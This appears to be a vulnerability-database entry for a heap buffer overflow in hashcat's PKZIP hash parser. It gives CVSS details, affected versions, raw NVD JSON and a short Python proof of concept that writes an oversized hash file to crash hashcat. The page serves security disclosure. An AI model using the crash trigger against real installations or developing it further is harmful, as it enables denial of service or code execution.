Security Vulnerability Report
中文
CVE-2026-42484 CVSS 9.8 CRITICAL

CVE-2026-42484

Published: 2026-05-01 14:16:23
Last Modified: 2026-05-01 19:16:33

Description

A heap-based buffer overflow in hex_to_binary in the PKZIP hash parser in hashcat v7.1.2 allows an attacker to cause a denial of service or possibly execute arbitrary code via a crafted PKZIP hash file. The issue affects modules 17200, 17210, 17220, 17225, and 17230. When data_type_enum<=1, attacker-controlled hex data from a user-supplied hash string is decoded into a fixed-size buffer without proper input-length validation.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:hashcat:hashcat:7.1.2:*:*:*:*:*:*:* - VULNERABLE
hashcat v7.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-42484 # Generates a malicious PKZIP hash file to trigger heap overflow in hashcat def generate_malicious_hash(): # Module 17200 format example: $zip2$*0*1*0*...*$ # The overflow happens when hex data is decoded into a fixed buffer hash_header = "$zip2$*0*1*0*" # Create a large hex string (e.g., 1000 bytes of 'A's) # Adjust length based on the specific buffer size in hex_to_binary payload_hex = "41" * 1000 malicious_hash = hash_header + payload_hex + "*$" with open("exploit_hash.txt", "w") as f: f.write(malicious_hash) print("[+] Malicious hash file generated: exploit_hash.txt") print("[+] To test, run: ./hashcat -m 17200 exploit_hash.txt") print("[!] This should trigger a crash or unexpected behavior.") if __name__ == "__main__": generate_malicious_hash()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42484", "sourceIdentifier": "[email protected]", "published": "2026-05-01T14:16:22.800", "lastModified": "2026-05-01T19:16:33.000", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap-based buffer overflow in hex_to_binary in the PKZIP hash parser in hashcat v7.1.2 allows an attacker to cause a denial of service or possibly execute arbitrary code via a crafted PKZIP hash file. The issue affects modules 17200, 17210, 17220, 17225, and 17230. When data_type_enum<=1, attacker-controlled hex data from a user-supplied hash string is decoded into a fixed-size buffer without proper input-length validation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hashcat:hashcat:7.1.2:*:*:*:*:*:*:*", "matchCriteriaId": "E1ECAF10-13E9-4F40-973C-EBC2BC0CDA88"}]}]}], "references": [{"url": "https://gist.github.com/sgInnora/107f2eb20367e47d58c911e38d56a91f", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://gist.github.com/sgInnora/107f2eb20367e47d58c911e38d56a91f", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}]}}